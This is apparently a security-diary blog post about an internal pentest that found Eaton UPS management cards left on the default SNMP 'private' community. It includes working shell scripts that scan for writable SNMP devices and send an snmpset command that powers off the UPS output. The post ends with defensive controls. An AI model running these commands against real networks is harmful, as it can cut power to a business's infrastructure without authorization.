Sometimes getting access to company assets is very complicated. Sometimes it is much easier (read: too easy) than expected. If one of the goals of a pentester is to get juicy information about the target, preventing the IT infrastructure to run efficiently (deny of service) is also a “win”. Indeed, in some business fields, if the infrastructure is not running, the business is impacted and the company may lose a lot of money. Think about traders.

I was recently involved in a pentest with the goal to test the customer's internal network. The scope was easy: to come on site, connect your laptop to a free network port and see what you can find/do. In such scenario, the breaking point is to successfully be connected to the network. If Mr “DHCP" is kind enough to provide you an IP address, you are "in" and you may consider the network as already compromised. This was the case for me, no protection against rogue devices, no network access control. I launched my Ettercap and started to sniff some packets playing MitM. I immediately grabbed some nice SNMP packets with interesting communities like “public” and “private”. As you probably know, those are the default ones on many systems. “public” provides usually a read-only access and “private” is used in read-write mode. Often, I hear this comment: "But SNMP is just a monitoring protocol, why should I care?”. Wrong! SNMP, as described by RFC 3411[1], means “Simple Network Management Protocol” and not “Monitoring Protocol”. If you have SNMP read access to a device, you can collect interesting information (version, processes, IP information, health) for the reconnaissance phase. But if you have SNMP write access to a device, you can alter his configuration and cause much more damages

During my engagement, the next step was to find devices with SNMP write capabilities:

# nmap -Pn -sU -p 161 -v -oA snmp 192.168.1.0/24
# grep ‘161/open/udp’ snmp.gnmap | awk ‘{ print $2 }’ | while read IP
do
     snmpwalk -v1 -c private $IP >/dev/null 2>&1
     if [ “$?” == “0” ]; then
         echo “$IP accepts private community"
         echo $IP >>vulnerable_ip.tmp
     fi
done 

The next step was to identify the vulnerable devices. This information is discoverable with the OID .1.3.6.1.2.1.1.1.0 (sysDescr). Example:

# snmpwalk -v1 -On -c xxxxxxxxx 192.168.254.4 SNMPv2-MIB::sysDescr.0
.1.3.6.1.2.1.1.1.0 = STRING: Cisco IOS Software, C1600 Software (AP1G2-K9W7-M), Version 15.2(2)JB2, RELEASE SOFTWARE (fc1)

Guess what? Most vulnerable devices were UPS management systems configured with default settings or, more precisely, not configured at all. The next step was to browse the vendor MIB (“Management Information Base”). The vendor ID was 534 and is assigned to Eaton Corporation [2]. The MIB reveals some interesting read/write OID's like this one: 1.3.6.1.4.1.534.1.9.1. This OID is called “xupsControlOutputOffDelay”. Here is the description:

"Setting this value to other than zero will cause the UPS output to turn off after the number of seconds. Setting it to 0 will cause an attempt to abort a pending shutdown."

We are close to perform a nice DoS against the customer's infrastructure. How? A simple 'snmpset' command will help us. Let's wrap it in a nice small script:

for IP in ‘cat vulnerable_ip.tmp'
do
   snmpset -c private -v1 $IP 1.3.6.1.4.1.534.1.9.1 i 10
   echo -n $IP
   d=10
   while [ $d -gt 0 ]; do echo -n ‘.’; d=$((d-1)); sleep 1; done
   echo “Tango down!"
done

Game over! Note that this is a proof of concept. In most pentest engagements, you're not allowed to perform such actions.

It is a pity that such very simple attack is still possible in 2016! If the customer followed the SANS Top-20 controls[3], this attack wouldn't be possible:

• CSC1 - Inventory of authorized and unauthorized devices
• CSC4 - Continuous vulnerability scanning, assessment, and remediation
• CSC9 - Limitation and control of network ports, protocols, and services
• CSC11 - Secure configuration for network devices such as firewalls, routers, and switches

[1] https://www.ietf.org/rfc/rfc3411.txt
[2] https://www.iana.org/assignments/enterprise-numbers/enterprise-numbers
[3] https://www.sans.org/media/critical-security-controls/critical-controls-poster-2016.pdf

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key